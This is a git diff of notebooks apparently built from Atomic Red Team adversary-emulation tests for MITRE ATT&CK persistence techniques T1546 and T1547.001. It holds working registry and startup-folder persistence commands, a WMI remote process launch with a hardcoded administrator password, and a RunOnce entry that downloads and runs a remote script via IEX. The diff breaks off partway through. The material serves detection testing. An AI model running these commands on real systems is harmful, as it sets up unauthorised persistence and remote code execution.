"fe85e4d4", + "id": "62acb95f", "metadata": {}, "source": "# T1546 - Event Triggered Execution\nAdversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. " }, { "cell_type": "markdown", - "id": "d84bedd6", + "id": "e901b6ec", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7bc19aad", + "id": "8e291b96", "metadata": {}, "source": "### Atomic Test #1 - Persistence with Custom AutodialDLL\nThe DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1546\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll\" -OutFile \"PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "301e9abc", + "id": "f789ae65", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "394e2a33", + "id": "78bdc633", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3a0c4dc8", + "id": "1bfa4204", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7754079b", + "id": "5f70f1b7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value $env:windir\\system32\\rasadhlp.dll```" }, { "cell_type": "code", "execution_count": null, - "id": "ca619bec", + "id": "c4872980", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "febe7e1a", + "id": "f4bdd033", "metadata": {}, "source": [ "### Atomic Test #2 - HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "98c6ea6f", + "id": "ed0148fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "487b5f1d", + "id": "36c34132", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "103c90f9", + "id": "97ff6d51", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "441f1c3d", + "id": "bf4f3f21", "metadata": {}, "source": [ "### Atomic Test #3 - HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)", @@ -107,34 +107,55 @@ { "cell_type": "code", "execution_count": null, - "id": "cc886e57", + "id": "ac8f98ee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4834b003", + "id": "912f6659", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "4e330797", + "id": "6ee8efac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bf34a84c", + "id": "99f00b55", + "metadata": {}, + "source": [ + "### Atomic Test #4 - WMI Invoke-CimMethod Start Process", + "The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.\nThis is a novel way to perform lateral movement or to start a remote process.\nThis does require WinRM to be enabled. The account performing the run will also need to be elevated.\nA successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n# Set the remote computer name and credentials\n $RemoteComputer = \"localhost\"\n $PWord = ConvertTo-SecureString -String \"P@ssword1\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"Administrator\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"calc.exe\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7a8892c9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1546 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "bdb05bd0", "metadata": {}, "source": "## Detection\nMonitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. " }, { "cell_type": "markdown", - "id": "7a84a028", + "id": "8910a4a4", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to use tools and controls to stop an adversary's activity.\n#### Use Case\nA defender can revert a system to a verified baseline a frequent, recurring basis in order to remove adversary persistence mechanisms.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -142,13 +163,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.001.ipynb b/playbook/tactics/persistence/T1547.001.ipynb index 29fc0691..6e3f1a76 100644 --- a/playbook/tactics/persistence/T1547.001.ipynb +++ b/playbook/tactics/persistence/T1547.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "eb2ba753", + "id": "de93a5aa", "metadata": {}, - "source": "# T1547.001 - Registry Run Keys / Startup Folder\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." + "source": "# T1547.001 - Registry Run Keys / Startup Folder\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." }, { "cell_type": "markdown", - "id": "3622925b", + "id": "4c231e0b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ec1722a3", + "id": "6d861e52", "metadata": {}, "source": [ "### Atomic Test #1 - Reg Key Run", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8473c224", + "id": "6c846244", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d27d2f96", + "id": "4f12ea7e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ff07cbfb", + "id": "167f8193", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "cda32aa5", + "id": "2cb6c69b", "metadata": {}, "source": [ "### Atomic Test #2 - Reg Key RunOnce", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ad5b628f", + "id": "f61d894a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "20735f30", + "id": "c2952726", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9fe6d0a3", + "id": "1d443ddc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9f698462", + "id": "408d1861", "metadata": {}, "source": [ "### Atomic Test #3 - PowerShell Registry RunOnce", @@ -91,34 +91,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$RunOnceKey = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nset-itemproperty $RunOnceKey \"NextRun\" 'powershell.exe \"IEX (New-Object Net.WebClient).DownloadString(`\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`\")\"'\n```" + "```powershell\n$RunOnceKey = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nset-itemproperty $RunOnceKey \"NextRun\" 'powershell.exe \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "73877e7e", + "id": "dd4448d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2c514e6b", + "id": "bb42ec01", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce -Name \"NextRun\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9f690269", + "id": "53574ae1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "8ae85ee5", + "id": "a5663e6f", "metadata": {}, "source": [ "### Atomic Test #4 - Suspicious vbs file run from startup Folder", @@ -126,34 +126,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "34c0c599", + "id": "f4b41969", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "5baa196a", + "id": "644ab96a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dab3c53e", + "id": "3299dc26", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "7e10d0ad", + "id": "0d95930b", "metadata": {}, "source": [ "### Atomic Test #5 - Suspicious jse file run from startup Folder", @@ -161,69 +161,69 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "867081d5", + "id": "b08774a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "d72360ab", + "id": "afc1a8b6", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b1cbf94", + "id": "7d57e792", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "e588b175", + "id": "58193cb8", "metadata": {}, "source": [ "### Atomic Test #6 - Suspicious bat file run from startup Folder", - "bat files can be placed in and executed from the startup folder to maintain persistance.\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", + "bat files can be placed in and executed from the startup folder to maintain persistance\n\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "057ab571", + "id": "92a56169", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "985ab3ff", + "id": "56719a29", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a3ea8e4e", + "id": "0e825532", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "240b976d", + "id": "407df618", "metadata": {}, "source": [ "### Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder", @@ -237,28 +237,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bb89a629", + "id": "00a9a042", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "1054e0e9", + "id": "8806dac0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "8126c7ad", + "id": "747d5b03", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "84a7de51", + "id": "350729e7", "metadata": {}, "source": [ "### Atomic Test #8 - Add persistance via Recycle bin", @@ -271,28 +271,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d93a1403", + "id": "35169f8d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "01861dc8", + "id": "178346a1", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg DELETE \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\" /f```" }, { "cell_type": "code", "execution_count": null, - "id": "17a642d5", + "id": "360ac1ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "541a3b0d", + "id": "926f54c4", "metadata": {}, "source": [ "### Atomic Test #9 - SystemBC Malware-as-a-Service Registry", @@ -305,28 +305,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5e941c5d", + "id": "e1503081", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "3c29fdf5", + "id": "49d4c8e7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name 